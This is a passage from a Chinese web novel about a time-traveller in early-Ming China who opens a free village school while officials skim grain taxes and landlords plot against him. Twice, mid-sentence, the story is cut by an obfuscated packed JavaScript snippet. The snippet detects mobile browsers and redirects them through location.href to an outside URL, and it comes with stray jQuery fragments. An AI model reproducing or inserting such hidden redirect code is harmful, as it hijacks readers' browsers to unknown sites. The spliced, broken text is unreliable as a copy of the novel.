书不是老爷们做的事情么,我家那几个泥猴子……读书,嘻嘻嘻……” 几个农夫笑作一团,似乎是没有把朱安宁的话当一回事。 但是他们脸上那局促的笑容,朱安宁是看在眼里的。 世代为农没错,读书是一件很难的事情没错。 万般皆下品惟有读书高,这句话贯穿了整个封建社会也是没错。 所以,他们才会如此地扭捏。 至于为什么会笑。 倒也不是这几人不尊重朱安宁,相反,他们非常敬重朱老爷。 只是对于这种本和他们八辈子都打不着杆的话题,他们也是实在不知道该摆什么表情好。 当然,也有少数几个农夫,开始在那思考,然后犹豫了半天,问道。 “朱爷!学堂……我们都是逃荒过来的,现在这第一年又没收成,就算是想让娃娃学点字,也交不起束脩啊……” 少数几个人,大声回了话,他们并没有那么局促,看起来就是更有胆识的想法的人。 朱安宁看了过去,果不其然,就是那个几个【十夫长】……能被戚祥选中,自然是有点能力的。 至于那些局促不安的农夫们,朱安宁也是看得有点麻……他预见了这个情况,却没想到,这个情况会这么夸张…… 幸好还有这少数几人表现出了一定的兴趣。 那就好那就好……还有救。 他连忙走近了几步,靠到了人群跟 前。 “我们永乐庄的乡学!不收束脩,而且先生我都给孩子们找好了!!!”他大声宣布道。 这声浪,随着下午那燥热的风,卷过了众人。 激起的,那就不止是轻呼了。 那人群直接就是开始惊呼了起来。 一如前段日子他们刚抵达永乐庄时的那种惊呼。 这朱爷真就是菩萨转世?!!! 连戚祥都露出了意外的神情。 虽然他是知道朱安宁是要办乡学的。 但是你好歹也收点束脩意思意思吧! 没想到朱安宁又搞免费这一套。 看着众人的反应,朱安宁也是很满意。 前期自己大撒币,收拢民心,还是有点效果的嘛。 那现在,似乎自己可以继续说下去了啊。 “虽然不收束脩,但是!我也是有条件的,那就是诸位的孩子,上完学堂后,必须要来我这里帮忙做工,当然,做工我也是会给工钱的!” 嗯? 下面的人再次沸腾了起来。 “朱爷的意思是,咱们得孩儿,不仅能去识字,未来还能去老爷家里帮工赚钱?还有这等好事?!!!” “朱爷好像是这个意思哩!” “还有这种好事?!我家孩子要去!” “老王你放屁,你家孩子才刚学会爬,去学堂学喝奶啊?!” “那他也会长大的嘛!” “那就等他长大再说!” 村民们又是乱作一团。 嗯嗯,这个反应也不错。 朱安宁自然不是什么菩萨。 但是他也没什么坏心思。 高中教科书就讲过,随着生产力的发展,明中后,就已经出现了作坊这种资本主义的萌芽。 那踏马自己都穿越过来了,提前把萌芽给催生出来,不过分吧! 自己这个职业技术学院,那必须得是产学研结合的啊。 劳动力可是重要资源,嘻嘻。 先收小点的孩子,等到时机成熟了,十几岁的也收进来,那不整个手工工坊玩一玩?! 朱安宁不敢把这些事情想得太过简单。 但是他也知道,总要跨出第一步,才有机会讨论后续的事情。 朱棣等人混在人群中。 收不收费,他们并没有什么大的感觉。 他们只是意外,帮工? 朱哥又想搞什么东西? 只是还未等他们仔细思考,朱安宁又继续开了口:“而且我的学堂,读书写字只会教最基本的,进学什么的,只能看自己有没那本事咯。” “啊?读书不就是为了进学么?” “那这学堂是干嘛的?” 不出意外的,群众们的讨论声又起。 只见朱安宁,早有准备,他深吸了一口气。 大声说道。 “学堂,教种地,教农活,教认植物,但凡是能讨饭吃的活,我都教!” 第一百零七章 百姓的粮三七分成,乡绅的粮,如数奉还 朱安宁,惬意地瘫在躺椅上。 关于最后学堂的教学内容,本来是有很多村民不解的。 但是,都被朱安宁一句,我自有安排,你们把孩子放到我这里,自己干活也更安心不是么?给打发掉了。 开玩笑,上班时间免费托管,这放在现代都是极有吸引力的好么。 所以疑问的声音,立马就被压了下去。 本来还有几个汉子想bb,他们身边的妇女们,都不约而同地给了他们一巴掌…… 那几声bb自然就是胎死腹中。 而早就疲惫不堪的朱安宁,交代了戚祥建学堂的地址后,就赶紧溜回了自己的院子里。 还是自己的地头舒坦啊,朱安宁舒了口气,宛如葛优。 只是,他还未躺下多久,院门又被推开了。 是那几个年轻人干完活回来了。 朱安宁也不算太意外,只是略微抬了抬头问道:“今天这么早?” “嗯,朱哥,田里现在活也不算多,我们就想早点回来休息,这天也太热了吧!”朱棣一边说着一边走到水缸那里,舀起水就往头上浇去。 看得朱安宁是一阵无语。 年轻人火力壮啊,也不怕着凉。 朱橚他们自然是没有朱棣这么莽的,那是老实舀水冲洗泥土而已。 “呼,这天确实是热得有点过了啊。”李景隆也忍不住吐槽了两句。 今天下午他好歹是不用去收集尿了,那心情是美了不少。 他甚至觉得干普通农活,都是享受…… 若是被他老爹李文忠看到……指不定那是要感谢朱安宁这个明朝变形记…… 看了两眼洗漱嬉闹的年轻人们,顺便嘬了口茶,朱安宁又重新恢复了躺下的姿势。 “哎,终于把这些事给处理完了,累坏我了……” 不多时,换好衣裳的朱橚也来到了朱安宁跟前,他很是意外地看着虽然不是很精神,但是总体已经好很多的朱朱安宁,问道:“先生,你早晨不是还不太舒服么?才半天功夫,就完全好了?” “小病自然好得快。” “这也太快了吧……” 跟在朱橚身后的几人,也一同围了上来。 “朱哥,你说那个学堂,真的交给我们我授课?” “不然我啊……对了,晚些我给你们讲个话本,你们记下来,到时讲给那些学堂的孩童们听,不然他们天天围着我转,烦死了……” “话本?”刘廌一下来了兴趣:“是老柳他们家儿子天天念叨的什么孙悟空的话本么?” “嗯?你们也听说了?” “听了点,但是具体是什么话本,不知道。”刘廌回答道。 “嗯,今晚讲给你们听吧……” “当真?我早就想听了,看那柳文摇头晃脑的样子,应该很精彩吧!” “啊……确实很有趣。” “那先生,我可以记下来么?” “记下来?你愿意的话那最好。” 西游记的故事,他们应该也爱听吧……哎,让他们记下来,到时他们来讲就好了,省得自己这么劳累。 资本家就是要有资本家的觉悟啊!怎么可以老是亲力亲为呢。 “对了,朱哥今晚吃什么啊!” “鸡蛋面!!!” “不!!!” ———————————————— 宫里,朱元璋火气很大。 大到血压都快爆表那种。 首先李善长和刘伯温报告的贪腐问题,他还没腾出手来解决。 更重要的是,他的好大孙,怎么又烧起来了!!! 是那朱安宁的药不对?! 但是刚才明明一下就退热了啊。 这是怎么回事。 几个御医跪在那里战战兢兢地看着随时会爆发的朱元璋,那是抖个不停。 脑袋里面已经开始给自己选风水宝位,庇护后人了。 “重八,你不是给了雄英吃那个药么!怎么又烧起来了!这不对啊!御医,你们说说怎么回事。” 马皇后要说不紧张心疼那是假的,本来朱雄英是活蹦乱跳的了,怎知道才过了两个时辰不到,他身子又热了起来,人也是立马就虚弱了下去。 这可吓坏了马皇后,他连忙遣人又把朱元璋叫了回来。 其实御医们都已经诊过脉了。 讨论的结果就是再正常不过的外邪入体……方子也早就开好了,只是喝了效果也不会那么快起来。 看着朱雄英的状况,怕不是效果还没起来,自己这群御医就要被朱元璋给送走了。 “我的药不是让雄英退热了么?!怎么又热起来了,你们这群庸医,说说是个什么情况!!!” 朱元璋黑着脸大吼了一声。 殿内的混响很是带劲,震得这批御医差点晕厥过去。 正当为首的御医准备起来说些什么,以挽救自己和同事的职业生涯和生命的时候,殿外突然又冲了个人进来。 正是回到了宫内的朱标。 他前脚刚进宫门,后脚就被通知了朱雄英的情况。 这也是吓得他不顾自己病也还没全好,直接就冲 到了这殿内。 “雄英!”只见朱标大喊了一声,然后匐到了朱雄英的床前,心疼地摸了摸自己的孩子。 “怎么这么烫!太医,这是怎么回事!” 一尊杀神还在发怒,又来了个火急火燎的太子,哎…… 一脸痛苦面具的郑太医,也只能回话。 “禀陛下,太子殿下,小殿下他已经服了药了,只是,需要……需要些时日……” “还需要时日?你看看是我大孙子的时日还是你的时日!!!”朱元璋一如既往地发挥稳定,他不需要尊重科学规律,他向来希望科学规律尊重他。 所幸朱标还算头脑清醒,镇定了下来,没有去为难那些御医。 而恰好,朱雄英睁开了眼睛。 “父亲,你回来了……咳咳……” “雄英,你感觉怎么样……” “难受……喉咙痒……咳咳咳……”朱雄英乖巧地想挤个笑脸安慰周围的人,却一开口就难受得咳个不停。 朱标看着他好大儿这幅样子,倒是突然没这么慌了。 虽然很愧疚…… 大概率就是自己的风寒让自己的儿子也染病了。 幸好……幸好自己手里有朱安宁给的药。 自己早上有多难受自己是知道的,结果吃了他的药,半天就舒服多了,虽然还是有点点不适,但是状态和早上比,那真就是云泥之别了。 只要给自己的孩子喂下这药,一切都会好起来的! “母后,给我拿些水来!”他连忙开口向旁边急到都快落泪的马皇后说道。 —————————————————————— 南直隶太平府。 车舟劳顿了些时日的蓝染,跳下了马车。 笑着捋了捋自己因为赶路而有些凌乱的发丝。 然后,精神瞬间就振作了起来。 他随车队来这太平府,可是有重要事务的。 只见迎面就走来一个穿着官袍的中年人,素银束带,青袍披身,虽是常服,但是也很容易就能辨别出,至少是有品级的官员了。 “郭大人许久不见,甚是想念啊。”蓝染熟练地打着招呼,那礼数也是一点都不拖沓。 而那被称为郭大人的,正是此时任职在太平府的通判,郭伏容,掌太平府钱谷、户口、赋役。 “哎呀蓝贤侄啊,确实是有些时日不见了啊,你这车舟劳顿,辛苦了吧。” “诶,怎么会辛苦呢!你看,我随身罐碧涧明月茶,虽然是盖得严严实实的,但是一路上啊,茶香扑鼻,那是神清气爽啊。”蓝染微微一笑,掏出了精美的小木盒。 “嗯?这可是名茶啊,真有这般香气?”那郭伏容也是直接换上了好奇的神情。 “郭大人有兴趣啊,那这盒就恰好给大人试上一试了!”蓝染顺手就把茶递了过去,那熟练度,大概已经满级。 “诶,使不得啊使不得啊!”郭通判也是手接得稳稳当当的,但是嘴上却说着不要不要,那也是熟练度高得吓人。 只是,蓝染也看到了,这郭伏容,是只伸了一只手去接茶,另外一只手也伸了出来,却是向着另外一个方向,显得空落落的。 “哎呀你看我糊涂啊,茶盒这么小,怎么够试茶呢,郭大人你看,我这里还有一盒,这碧涧明月茶,就是得多喝,才有味道!” “诶?蓝贤侄,一盒就已经很不好了,怎么又给了一盒呢?真是使不得啊使不得啊。”郭伏容,稳稳地接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378711|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了两盒名贵的茶叶,那是笑得合不拢嘴:“哎,不过也就是点茶叶而已,我就勉为其难,试一试味道。” 两人对视了一眼,那是相继大笑了起来。 “请。”郭伏容做了个请的姿势,然后带头走向了不远处的一处院落。。 蓝染也没有客气,连忙跟上了郭伏容的步伐。 当然他也没忘记身后那一堆货物,只见蓝染伸手挥了挥,示意了一下。 训练有素的蓝家仆人们,便是快速驱使着马车,跟了上去。 只见这车队浩浩荡荡,马儿却不算太过吃力。 这明显绝大部分马车都是空的。 蓝染和郭伏容靠得很近,而且他们身边是一个人都没有。 蓝染也是小心地再确认了一次。 才开的口。 “郭大人,您需要我置办的货物,都在前几架马车里,后面都是空车。”蓝染平静地开了口。 “上一季的稻谷,已经放好了。”郭伏容也是小声回了话。 “明白,这次如何分配是好?” “这次我又拉拢了些乡绅,立了新名目,缴了税。他们交了,百姓也不得不交。” “这百姓还抽得出税?” “怎么抽不出,你看。”郭伏容指了指远处在劳作的行尸走肉,笑着回道:“他们这不还活着么?我们可是保护了他们免受元贼屠戮的啊!” “那是,郭大人为国为民,辛苦辛劳。”蓝染竖了个大拇指。 两人对视了一眼,又是哈哈大笑了起来。 “这次啊,乡绅们出了大力,他们的粮啊如数奉还。百姓的粮三七分成。” “我们拿三吧。” “ 嘿嘿,还是你上道,总不能我们拿七吧,那是朝中的大人们的啊。” “郭大人辛苦!” “蓝贤侄也辛劳!” “诶,为国为朝堂,应当的!” “应当应当!” “请!” “请!” 两人一起作了个揖,终是走到了院内的屋里。 郭伏容很自觉地坐到了主位上,而蓝染却也是识相地没有坐下,而是开始沏茶。 “对了,郭大人,您急需的那批石膏,也在车上了,需要我帮忙分好给其他府县的大人们送过去么?” “嗯,这点小事你来处理就行,你年轻能力强,多做一点。” 郭伏容嘬了口蓝染递过来的茶,喝了口才回话。 蓝染微微一笑,也没有反对,这是他早就预料到的事情。 而且他也不介意去做这件事。 能接触更多的地方官,对他来说可是大有裨益的事情! “好嘞,郭大人尽管放心,今日我就让下人给他们送去。” “对了,乡绅们的你让下人送,其他大人的,你最好自己送。” “明白明白!” “蓝贤侄是个明白人,嘿嘿。” 蓝染把茶泡好后,也是顺势坐了下来。 此时的郭伏容,才不慌不忙地从怀中,掏出一本账,里面记载的,正是这几年,他们搜刮上来的粮数。 这账的重要性不言而喻,所以郭伏容一直是贴身保管。 只有要在使用时,才会掏出。 这可把蹲在隐秘处的毛骧,急的是抓耳挠腮。 没错,这位未来的锦衣卫,此时正在观察蓝染和郭伏容。 因为距离的缘故,他自然是没有办法听清楚两人的对话。 但是他也是一眼就看出了随行的马车有蹊跷,这么这么空……而且一个府的通判,怎么会跑来这种偏僻的地方会见永昌侯的义子。 这没有猫腻才怪。 办过许多案子的毛骧,自然是嗅到了不对劲的气息。 他舔了舔嘴唇,兴奋地笑了起来。 也许。 又是一片腥风血雨。 而自己,就是踏着这些腥风血雨,才能得到陛下信任,顺便捞些荣华富贵的啊。 看来陛下说得没错,这要跟着这批石膏,就能查到东西。 现在还搞不清楚具体是什么情况。 那就继续,跟着石膏的路线走吧! 毛骧,已经盘算好了未来的,动向。 而桌上的蓝染和郭伏容,还在那里笑得肆意。 第一百零八章 这朱安宁真是目无法纪 安静的殿内,忽然响起了一个雄浑的声音。 “雄英他好了?” 是朱元璋在向朱标发问。 “没那么快痊愈,但是咳嗽是好了许多了,身子也还有点虚。” 朱标缓了口气,毕竟他也还未痊愈。 而朱元璋,先是听了那贪腐的事情,又被朱雄英的病吓得够呛,那脸色,自然也是没有比朱标好多少。 只见他踱了两步,最后还是选择了坐到椅子上,才继续开口说话。 “你这药也是朱安宁给的?” “嗯,他赠与我的,今早我去他那儿了,他染了和我一样样的风寒……我就想,雄英应该也是染的一样的……” “嗯?居然是赠与!!!我的怎么得掏钱,而且你的药和我的不一样啊。”朱元璋笑骂了两声,以他现在的身份,一点银子倒不是说他有多心疼,而是,这一个送一个买,就不厚道啊安宁小弟。 “应该有差别,父皇你看,颜色都不一样……” “那下次有谁病了,是不是还得去问下他哪个药对应哪种症状……” “那是自然……” “算了,他这药效果确实好,这次他也算是救了雄英,大功一件,标儿,你想个由头送他点东西吧,算是买他药的钱罢了。” 朱元璋靠在椅子上,想了许久,最后才缓缓开了口。 这也算是一种询问。 他向来喜欢朱标,所以很多事情都会交由朱标去做定夺。 关于如何赏赐朱安宁,他现在也是想由朱标决定算了。 “父皇,由我来定夺?” “嗯,你想送什么?官职他可不要,这家伙是油盐不进啊。” “是的,他似乎很不愿意为官,所以,父皇……你觉得,送他石膏矿怎么样?” “……” 殿内只有他与朱标两人。 所以朱元璋也懒得掩饰自己的表情。 他似笑未笑地看了眼自己的好大儿。 “怎么?你也觉得他的肥不错?” “四弟和五弟都认可,父皇与我也看过他那……叫……试验田的作物,确实是有效的。” 朱标简单地说了下自己的想法。 而朱元璋却只在那沉吟。 许久都没有回话。 直到不知过了多久。 朱元璋突然换了个话题。 “你今儿去与他聊了什么?” “确认他向着谁,确认他的那些想法,是否能真的施行。” “结果如何?” “他向的不是父皇,也不是我,当然更不是那些逆贼。” “那你觉得他向着谁?” “他是,有所保留地,向着百姓。” “有所保留?什么个意思。” “毫无保留地想着百姓,那是圣人,很明显这朱安宁不是,但是他却也做到了力所能及地想为百姓们做些事。” “这个评价听起来很高啊。” “当然……就单论他这份仁心,就已经比……哎……” “尽管说。” “比朝中的许多官员,要高了。” “许多?是绝大部分官员,都比不上这一个朱安宁吧!办事谋略先不说,就说说那一个个肥头大耳的朝官,怎么和朱安宁比,哼!” 朱元璋又立马想起了下午时听到的那贪腐一事,那是气血上涌,又怒了起来,猛地砸了下桌子。 此时的殿内,只剩下他和朱标。 刘伯温李善长和李文忠等人,早已出宫。 这一声拍桌子,吓到朱标倒是不至于,他只是不明白,今儿的父皇怎么这么暴躁…… 朱元璋现在也是懒得再继续坐到座椅上,猛地又站了起来。 “标儿,你说说今天你们聊了什么罢。” “是,父皇,朱安宁的一些方策,真要去施行,不仅涉及到地方的阻力,还有一些更实际的问题需要去解决。” “比如?” “比如一个运粮问题,粮食若要锚定宝钞,那咱们国内的粮食流通,就要比当下更频繁,特别是沿海富庶的几个府县,产量大,需求量也大,而内陆虽然需求量没那么大,但是也是需要修葺道路和疏通漕运的啊。” “他怎么说。” “他就说造船……造海船……” “……呃……他是不是以为说造就能造……那内陆怎么办……” “他没说,今儿我也去得仓促,更像是闲聊。” “啧,你说他怎么这么执着于造船啊。” “他简单说了下……似乎在遥远的地方,会有异族能威胁到我们……” “威胁?总不能他说海的那边有敌人,咱就给他造船吧。” “他的说法是,先造船满足运输,待到需要战船时,也不至于说一筹莫展。” “道理是有点道理的,哪来的钱银呢?到处都要花钱花粮……”只见朱元璋还是摇了摇头。 这下轮到朱标有点急了。 说他比朱元璋进步不是没道理的。 他其实已经相对认同朱安宁的说法。 不说未来会不会有外敌,单论一个海运的运粮还有未来对三佛齐,倭岛这些地区 的开发,都极其吸引他。 只可惜,朱元璋好像不太认同…… 老农还是觉得陆地有意思。 海上什么的,那就是谈可以,去,再看看的态度。 “父皇……” “哎标儿,你要真有想法,就和那朱安宁好好讨论个结果出来先,治国不是儿戏,有些东西需要考虑清楚。” …… 发宝钞的时候不见父皇你考虑清楚……朱标在内心还是有点腹议的。 不过他也不敢太过造次,虽然朱元璋很钟爱他,但是也不代表不会揍他。 老朱的铁拳可不止制裁过他的敌人,还制裁过他的每一个儿子…… “这件事情先不谈,有件重要的事情需要立马彻查。” “嗯?” “江南,有贪官。” —————————————————————————— 乡学的建设开始了。 于是永乐庄周边的村子再一次愕然。 朱安宁的风评,也再一次成功实现了两极分化。 地主老爷乡绅们眼里,朱安宁俨然就是败家子和脑残的代表。 你办乡学要名,老爷们能理解,你不收束脩是几个意思? 亏本的买卖可以偶尔做,但是你这朱老爷,真不能天天做吧。 你让其他老爷们怎么办? 当然,在普通的乡民们心中,朱安宁的形象那就是无比神圣了。 什么青天大老爷都比不过这安宁大老爷啊! 只恨自己不是永乐庄的人……这破田,真的是一天都不想耕了! 这种想法,不断在田间蔓延。 这也是其他地主老爷们头疼的事情。 要不是那永乐庄有曹国公的背景,早就被他们联合推平了! “侯爷,这永乐庄的地主不对劲啊!”一群乡绅正在吃席,而为首的正是蓝玉,此时正有有个肥头大耳的地主在那抱怨。 “对啊对啊。”其他人连忙附和。 这席,是定期举办的上供会,这是这片区小地主们不成文的规定,毕竟自己呆的地方有蓝玉这种杀神……他一个不开心了,自己也不好过嘛。 所以每月固定一个时间,小地主们就会摆出各种山珍海味,整点好酒好菜,再来几个好姑娘,让永昌侯享受享受。 蓝玉此时正搂着个姑娘喝着酒,结果手都没摸两下,就有人提起朱安宁这个扫兴的名字。 那脸立马就垮了下来。 只见他恼火地一把推开了那姑娘,毫不怜香惜玉。 人家是拔二弟无情,他更直接,他就是无情。 那姑娘摔在地上,却也知道眼前的人是永昌侯,那是痛呼都不敢出声,只能强忍着疼痛退到了一边。 蓝玉整这一副司马脸,闷声开了口:“那厮又做了什么,不要以为背靠着李文忠就可以目无法纪!” 奶奶滴,自己不就是让那蓝梁去开价翻个倍么,这朱安宁居然真就一点面子都不给,说不买就不买了,完了这蓝梁也是废物!这点钱都敲不回来,浪费家里的大米。蓝玉在心中愤懑地吐槽着。 而他一开口,也是直接把那几个地主给噎住了。 目无法纪从这位侯爷口中说出来,似乎有点好笑。 但是现在绝对不能笑,会死的…… 隔了半晌。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378712|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后还是脸皮可以和肚皮媲美的一个王姓地主拱手回道:“侯爷说的是啊,那朱安宁,不守规矩,收租只收一成,就已经犯了忌讳了,现在又说要给那群泥腿子办乡学!说要帮忙照顾农户家的孩童,真是岂有此理!!!把我们这些守法的地主们置于何地嘛!” “乡学?”蓝玉灌了一杯酒,一脸疑惑。 那王地主连忙帮蓝玉倒上酒才回话。 “对的啊,这朱安宁,落户到我们这片地界后,那是把我们搅得不得安宁啊,他这哪是朱安宁,真是不安宁啊。侯爷你可知道,他办乡学不收束脩,那是连孔圣都不敬了啊,哪有这样搞的!这种不良风气,甚至都影响到我地里的佃农了,他们就天天嚷嚷着说我对他们不好。皇天在上,我是紧跟侯爷步伐的,地也和您一样只收七成,还给了他们三成活命的啊,居然敢嚷嚷我了,真是老鼠屎啊这朱安宁。” 要说还是脸皮厚好。 这王地主控诉起朱安宁来是脸不红心不跳,反正都是朱安宁的错就对了。 蓝玉听着那王地主的话,也是丝毫不觉得有什么问题。 对啊,我们只抽了七成啊,这些刁民怎么回事?是不知道感恩么? 将军我的恩情他们一点都不惦记? 那确实是只能怪这朱安宁了,他太不尊重这片土地的规矩了,是他乱了大家佃农的心,要不是他是曹国公的人,他已经有了取死之道。 蓝玉又是喝了一口酒,那暖暖的黄酒顺着喉咙流到胃里,让他有点上头。 “所以你们几个怎么想的,是想爷我出手教训一下这个不懂规矩的小地主?”他大大咧咧地说道。 却也是让一同吃席的几个地主同时松了口气。 太好了,终于进入正题了。 要说他们没找过朱安宁的麻烦是假的。 暗搓搓派人过去整了几回。 结果要么就是莫名挨了官府一顿罚,要么就是挨那个据说是里长的戚祥揍,总之是朱安宁的人都没怎么见过。 最后他们几个地主也是多方打听才知道,不止是他们,几个有爵位的人都想出手找朱安宁的麻烦,结果都被曹国公李文忠的儿子李景隆给挡了回去。 也是这时候大家伙才知道,这永乐庄,有曹国公的关系。 而事后,那几个想找麻烦的爵爷们,甚至还被责罚了。 这就更加确定了永乐庄和曹国公的关系。 本来他们想着忍忍就过去了,就当自己身边多了个大号刁民,就撩拨了一下自己佃农的心而已。 怎知这朱安宁是花活不断。 最开始的十收一只是开胃菜,后面挖渠,到现在乡学,那是一个比一个离谱。 这才有了这次饭局的吐槽。 “永昌侯若是能为我等做主那就真的是太好了啊,那朱安宁不守规矩,地主不是这样当的嘛。” 几个地主听见蓝玉想要给他们出头,那自然是感恩戴德。 没想到他们话音刚落,门口又走进来了个地主。 是蓝玉借着酒气,先开了口。 “老方,怎么了,黑着个脸。”他看着那方地主脸色不太对的样子,便顺口问了句。 “啊,见过永昌侯……还有诸位,家中有些事耽搁了,今日迟到了实在是抱歉。”只见那方地主也是礼数还算周全,他连忙对着蓝玉和众人行了个礼才坐下。 然后刚坐下就是叹气,回答了蓝玉刚才的问题。 “是那永乐庄的事。”他才刚开口,便看到了附近一圈人吃了米田共般的表情。 “又是永乐庄?!”好几人一同惊呼。 虽然把那方地主弄得有点懵,但是也不妨碍他继续说下去。 “哎,对啊,又是那个朱安宁,这两天不是说他要弄乡学么。” “刚才我们还在聊。” “哼,今天几个佃农找上门来我才知道,他哪只是弄乡学……” “他还整了其他?” “他不知道从哪里搞了很多肥,说要让他们庄里的农民们随便用。” “肥?那不就是大粪么?他哪来那么多大粪?!” “我哪知道……” 几个地主,听完那方地主的话,都是一脸吃了屎的表情,自然也是包括了蓝玉。 “他是不是有病,他怎么不直接给那些佃户们送银子?!” 第一百零九章 揍上门来该怎么办 蓝玉是真的生气了。 因为这些事情在他看来都是不可理喻的。 一个地主,他不收租,他不想办法压榨佃户,他……他居然还送肥料? 这不是纯纯的得了脑残病么。 这朱安宁应该是曹国公选来管事的人,这在勋贵中并不少见。 有些地,不太好直接自己出手掌控,便找个好控制的人,去折腾,而且这样做还有个好处,出了什么事情,总有人可以背锅。 比方说他蓝玉之前的田地很多就是在他义子们的名下。 所以让蓝玉很不解的是,李文忠选这么一个脑残来给自己办事干嘛? 不行,好歹也是以前的战友,自己找个时间出手帮他管管这个脑残管事吧,不过那李景隆在那里又是干嘛……瞎玩闹呢,也不管管……啧,自己一并教训了吧。 顺便再卖他四百两石膏! 哼,自己堂堂一个永昌侯过去卖东西,他总不能还拒绝吧?! 蓝玉做好了决定,然后又是喝下了一口酒。 反正这事已经有了想法,他心情突然又好了起来。 一把拉过了恭敬地站在他身后的姑娘,又是上下其手了起来。 “你们尽管放心,那个永乐庄的事,我去说说,咱的面子,曹国公还是会给的,我会让他这个管事的地主,好好思考下他的做法,是不是有点问题,嘿嘿,对不对啊小妞?” 蓝玉一边说,一边笑得相当男人。 几个地主也是见惯了这种场面的人。 也不觉得有什么大问题。 “嘿嘿,那就谢过永昌侯了。” 几人是哈哈大笑了起来。 然后,接着喝酒,接着乐。 在距离此地上百里远的太平府边上,也有人在饭局中觥筹交错。 他正是蓝玉的义子蓝染。 “各位大人,上一季的收成,非常好啊!真是可喜可贺!” 蓝染的祝酒词非常朴实无华。 却又是那么地戳人心窝子。 于是一大群穿着常服的地方官们,也满意地举起了酒杯。 他们品级有高有低,但是都离不开郭伏容这个牵线搭桥的人,谁让他有个朝中做户部侍郎的郭桓呢。 郭桓位虽然不高,但是权重啊,负责赋税事宜的他,可是联络上下,疏通左右,最重要的那个人。 所以,大部分的人目光也是投向了郭伏容,准备等第二句祝酒词。 只见郭伏容红光满面地站了起来。 这局就是他攒的,能坐在这里的,都是地方官,而且是参与了他们特别收税行动的地方官。 “大家发财嘎!”他的词是那么地朴实无华。 却又是让大家愉悦身心。 做他朱元璋的官,可没什么工资。 自己的这些读书人辛苦那么多年,不捞点东西是吧,那对不起孔圣,更对不起教自己读书的先生,那才是大不敬! 所以这酒局,很快就变成了欢快的喝酒海洋。 蓝染愉悦地看着大家酒过三巡。 知道时机已到,只见他拍了拍手。 一群莺莺雀雀鱼贯而入,有的开始贴身陪酒,有的就在那开始弹唱起来。 气氛立马就到达了另外一个高潮。 而蓝染,他却很克制,他身边没有姑娘。 只见他又浅喝了一口酒。 看着这群肥头大耳的官僚们,眼中竟闪过了一丝鄙夷。 真是虫豸,不过也就是虫豸,才会这般好用。 自己只是稍微提点了一下,他们就真的敢去另外收税,那些粮草也是通过自己不断地被置换成银两,地产,或是其他的宝贵物件,最后又返还给这群官僚。 在这个循环中,他就是抽成的那个人,风险有点大,但是赚的也绝对多。 他的义父蓝玉是多少知道点他在干嘛的。 但是,从来不管。 一个只崇尚战场规则的人,怎么会去管这种事情呢。 能赚钱就行。 所以蓝染,借着蓝玉的名头,是切切实实地垄断了太平府附近几个区域的黑粮交易。 而且随着他的良好口碑,更远的一些地方官,也开始和他接触。 这让他很是满意。 只要再努力一下,自己就能彻底在这官圈中站稳了。 届时,自己就可以提出要求。 他要做官,他要出人头地,什么蓝玉义子,狗屁不是!!! 一念至此,他猛地把杯中酒喝完,然后又堆起了笑脸,开始在这酒局之中穿梭。 ———————————— 这几天,朱安宁过得很不舒心。 原本,只有那群熊孩子会追着他问孙猴子的故事。 而前几晚,他把这故事讲与朱棣他们听后。 现在追着他屁股的人,又多了一群。 特别是那刘廌,他像着了魔似的,一有时间就拿着纸游荡到他身边,开始要求他速速讲这话本,不要不识好歹! 朱安宁也不是没有反抗过。 只是收效甚微。 毕竟连最听话的朱橚,都一直在软磨硬泡…… “先生,再讲一点, 就一点,你说那孙猴子被那什么星君抓到了丹炉里,现在怎么样了!哎呀急死我了!先生你这个不就是那西游记杂剧么!怎么和我听过的不一样啊,你这个可有趣多了!!!” 朱安宁也是才知道,元朝就已经有了西游记的杂剧,但是真正的西游记是应当是吴承恩著的,二者差别还是很大的。 而在朱橚逼逼赖赖的时候。 刘廌已经拿着纸张冲到了两人的身旁。 “先生又要讲话本了么?!这等神鬼故事,简直太有意思了,我不能让这等神作被埋没!我一定要记下来,我一定要记下来!”刘廌像个魔怔人一样在那神神叨叨的。 也是把朱安宁弄得有点起鸡皮疙瘩。 麻的,自己给他们讲西游记,是为了降低自己的工作强度,怎么现在强度还更大了?! “你们还让不让我做饭了?” “先生你尽管做,不耽搁我们听的。”刘廌说得很理直气壮。 理直气壮到,朱安宁仿佛觉得是自己有问题那般。 “……” 此时的朱棣,仿佛是终于看不下眼,他冲过来挥了挥手,做出了驱赶的姿势。 “你们干嘛干嘛!”他皱着眉头,一副生气的样子:“能不能让朱哥做好饭,你们不想吃饭了是吧!” 几人要说怕,还是怕朱棣的。 这人不仅是个莽夫,还是个有脑子的莽夫……不好惹。 刘廌首当其冲,被朱棣一撞,那是呲牙咧嘴,敢怒不敢言。 最后也是只能闷声吐槽嘟囔。 朱橚却是要比刘廌大胆的。 直接就嚷嚷了起来。 “四哥,话本好玩,你不想听?” 结果自然是惹来了朱棣的眉头一挑。 朱安宁看这阵势,也终于是松了口气。 还是小燕好,心疼自己,没有白养他…… 朱安宁正想开口表扬下这表现得不错的朱棣同学,然后他就听到了朱棣义正言辞的腔调。 “你两就不能让朱哥做完饭,再让他吃饭的时候讲与我们听么?” “还是小燕对我……嗯???起开起开!我特么的铁铲你们觉得打人痛不痛?!”朱安宁马上就回过味来,然后恼羞成怒地开始挥舞铁铲。 于是,他终于用武力,换来了清静。 